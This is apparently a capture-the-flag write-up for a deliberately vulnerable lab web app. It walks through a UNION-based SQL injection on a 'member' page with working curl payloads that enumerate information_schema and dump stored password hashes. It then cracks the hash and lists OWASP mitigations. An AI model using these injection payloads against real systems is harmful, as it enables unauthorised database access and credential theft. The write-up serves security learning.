## Exploit

1. At `http://10.0.2.15/?page=member` we can inject SQL. Using an empty input and we see the error `You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1` so we can assume the SQL query is shaped like `… WHERE id=<our input>`
1. Try to `SELECT` everything with a `UNION`:
    ```bash
    ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT * FROM users'
    …
    <pre>The used SELECT statements have a different number of columns</pre>
    ```
1. From the previous output we try an increasing number of placeholders to deduce that the original query uses two columns:
    ```bash
    ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT 1,2 FROM users'
    ```
1. We get a list of all columns of all tables in the database:
    ```bash
    ❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT column_name, table_name FROM information_schema.columns" | sed 's/<pre>/\
    /g' | grep --only-matching "First name:.*"
    ```
1. After trying a bunch of them we see that `Commentaire` and `countersign` hold a clue and a hashed password:
    ```bash
    curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT Commentaire, countersign FROM users" | sed 's/<pre>/\
    /g | grep --only-matching "First name:.*"
    …
    First name: Decrypt this password -> then lower all the char. Sh256 on it and it's good !<br>Surname : 5ff9d0165b4f92b14994e5c685cdce28</pre><table width=50%>
    ```
1. `5ff9d0165b4f92b14994e5c685cdce28` reverse md5 lookup → "FortyTwo" → lowercase → "fortytwo" → `echo -n fortytwo | sha256sum`

## Fix

[https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection]()

- Don't show SQL errors on the front-end because it gives attackers clues about the database and the queries that can be used to exploit them
- Don't include untrusted, unfiltered and/or unsanitized input into a SQL query
- Give the least amount of privileges to database users (for example, they should not be able to read meta information tables like `information_schema` etc)